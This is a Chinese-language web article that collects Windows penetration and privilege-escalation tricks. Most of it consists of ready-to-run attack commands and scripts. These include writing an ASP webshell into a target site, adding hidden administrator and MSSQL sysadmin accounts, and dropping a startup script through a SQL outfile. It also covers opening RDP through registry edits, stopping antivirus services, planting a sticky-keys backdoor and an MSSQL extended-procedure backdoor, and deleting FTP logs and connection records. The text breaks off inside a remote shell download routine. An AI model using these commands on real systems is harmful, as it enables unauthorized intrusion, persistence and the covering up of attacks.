首页 网络安全 安全学院 查看内容

Windows渗透与提权技巧汇总

2013-12-31 12:07 621 0

摘要: 本文汇总了Windows渗透与提权的多个技巧,包含:MSSQL查询分析器连接记录清除、VNC与Radmin的提权方法、Cmd 下目录的操作技巧以及Webshell 提权小技巧等。旁站路径问题:1、读网...
关键词: exe windowssystem WScript 后门 net HKLMSYSTEMCurren systemroot 目录 admin dllcachesethc

本文汇总了Windows渗透与提权的多个技巧,包含:MSSQL查询分析器连接记录清除、VNC与Radmin的提权方法、Cmd 下目录的操作技巧以及Webshell 提权小技巧等。旁站路径问题:1、读网站配置。2、用以下VBS:On Error Resume Next If (LCase(Right(WScript.Fullname, 11)) = "wscript.exe") Then MsgBox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & " Usage:Cscript vWeb.vbs", 4096, "Lilo" WScript.Quit End If Set objservice = GetObject("IIS://LocalHost/W3SVC") For Each obj3w In objservice If IsNumeric(obj3w.Name) Then Set OService = GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name) Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT") If Err <> 0 Then WScript.Quit (1) WScript.Echo Chr(10) & "[" & OService.ServerComment & "]" For Each Binds In OService.ServerBindings Web = "{ " & Replace(Binds, ":", " } { ") & " }" WScript.Echo Replace(Split(Replace(Web, " ", ""), "}{")(2), "}", "") Next WScript.Echo "Path : " & VDirObj.Path End If Next 3、iis_spy 列举(注:需要支持ASPX,反IISSPY的方法:将 activeds.dll,activeds.tlb 降权)。4、得到目标站目录,不能直接跨的。可以通过“echo ^<%execute(request(“cmd”))%^> >>X:目标目录X.asp”或者“copy 脚本文件 X:目标目录X.asp”像目标目录写入webshell,或者还可以试试type命令。网站可能目录(注:一般是虚拟主机类):data/htdocs.网站/网站/ CMD 下操作 VPN 相关知识、资料:#允许administrator拨入该VPN:netsh ras set user administrator permit#禁止administrator拨入该VPN:netsh ras set user administrator deny#查看哪些用户可以拨入VPN:netsh ras show user#查看VPN分配IP的方式:netsh ras ip show config#使用地址池的方式分配IP:netsh ras ip set addrassign method = pool#地址池的范围是从192.168.3.1到192.168.3.254:netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254Cmd、Dos 命令行下添加 SQL 用户的方法:需要有管理员权限,在命令下先建立一个“c:test.qry”文件,内容如下:exec master.dbo.sp_addlogin test,123 EXEC sp_addsrvrolemember 'test, 'sysadmin'然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:test.qry另类的加用户方法:在删掉了 net.exe 和不用 adsi 之外,新的加用户的方法。代码如下:js:var o=new ActiveXObject( "Shell.Users" ); z=o.create("test") ; z.changePassword("123456","") z.setting("AccountType")=3; vbs: view source Set o=CreateObject( "Shell.Users" ) Set z=o.create("test") z.changePassword "123456","" z.setting("AccountType")=3 Cmd 访问控制权限控制:命令如下:cacls c: /e /t /g everyone:F #c盘everyone权限 cacls "目录" /d everyone #everyone不可读,包括admin 备注:反制方法,在文件夹安全设置里将 Everyone 设定为不可读,如果没有安全性选项:工具 – 文件夹选项 – 使用简单的共享去掉即可。3389 相关,以下配合PR更好:a、防火墙TCP/IP筛选.(关闭:net stop policyagent & net stop sharedaccess)b、内网环境(lcx.exe)c、终端服务器超出了最大允许连接(XP 运行:mstsc /admin;2003 运行:mstsc /console)1.查询终端端口:REG query HKLMSYSTEMCurrentControlSetControlTerminal" "ServerWinStationsRDP-Tcp /v PortNumber2.开启XP&2003终端服务:REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f3.更改终端端口为2008(十六进制为:0x7d8):REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "ServerWdsrdpwdTdstcp /v PortNumber /t REG_DWORD /d 0x7d8 /fREG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "ServerWinStationsRDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制:REG ADD HKLMSYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileGloballyOpenPortsList /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled :@ xpsp2res.dll,-22009 /f create table a (cmd text); insert into a values ("set wshshell=createobject (""wscript.shell"")"); insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)"); insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)"); select * from a into outfile "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\a.vbs"; BS马的PortMap功能,类似LCX做转发。若果支持ASPX,用这个转发会隐蔽点。(注:一直忽略了在偏僻角落的那个功能)关闭常见杀软(把杀软所在的文件的所有权限去掉):处理变态诺顿企业版:net stop "Symantec AntiVirus" /y net stop "Symantec AntiVirus Definition Watcher" /y net stop "Symantec Event Manager" /y net stop "System Event Notification" /y net stop "Symantec Settings Manager" /y 麦咖啡:net stop "McAfee McShield" Symantec病毒日志:C:Documents and SettingsAll UsersApplication DataSymantecSymantec Endpoint ProtectionLogs Symantec病毒备份:C:Documents and SettingsAll UsersApplication DataSymantecSymantec Endpoint ProtectionQuarantine Nod32病毒备份:C:Docume~1AdministratorLocal SettingsApplication DataESETESET NOD32 AntivirusQuarantine Nod32移除密码保护:删除“HKEY_LOCAL_MACHINESOFTWAREESETESET SecurityCurrentVersionInfoPackageID”即可 安装5次shift后门,沾滞键后门,替换SHIFT后门:5次SHIFT,沾滞键后门:copy %systemroot%system32sethc.exe %systemroot%system32dllcachesethc1.exe copy %systemroot%system32cmd.exe %systemroot%system32dllcachesethc.exe /y copy %systemroot%system32cmd.exe %systemroot%system32sethc.exe /y 替换SHIFT后门:attrib c:windowssystem32sethc.exe -h -r -s attrib c:windowssystem32dllcachesethc.exe -h -r -s del c:windowssystem32sethc.exe copy c:windowsexplorer.exe c:windowssystem32sethc.exe copy c:windowssystem32sethc.exe c:windowssystem32dllcachesethc.exe attrib c:windowssystem32sethc.exe +h +r +s attrib c:windowssystem32dllcachesethc.exe +h +r +s 添加隐藏系统账号:1、执行命令:“net user admin$ 123456 /add&net localgroup administrators admin$ /add”。2、导出注册表SAM下用户的两个键值。3、在用户管理界面里的 admin$ 删除,然后把备份的注册表导回去。4、利用 Hacker Defender 把相关用户注册表隐藏。安装 MSSQL 扩展后门:USE master; EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll'; GRANT exec On xp_helpsystem TO public; 处理服务器MSFTP日志:在“C:WINNTsystem32LogFilesMSFTPSVC1”下有 ex011120.log / ex011121.log / ex011124.log 三个文件,直接删除 ex0111124.log 不成功,显示“原文件…正在使用”。当然可以直接删除“ex011120.log / ex011121.log”。然后用记事本打开“ex0111124.log”,删除里面的一些内容后,保存,覆盖退出,成功。当停止“msftpsvc”服务后可直接删除“ex011124.log”。MSSQL查询分析器连接记录清除:MSSQL 2000 位于注册表如下:HKEY_CURRENT_USERSoftwareMicrosoftMicrosoft SQL Server80ToolsClientPrefServers找到接接过的信息删除。MSSQL 2005 是在:C:Documents and SettingsApplication DataMicrosoftMicrosoft SQL Server90ToolsShellmru.dat防BT系统拦截技巧,可以使用远程下载shell:<% Sub eWebEditor_SaveRemoteFile(s_LocalFileName, s_RemoteFileUrl) Dim Ads, Retrieval, GetRemoteData
  • 声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

    路过

    雷人

    握手

    鲜花

    鸡蛋

    最新评论

    返回顶部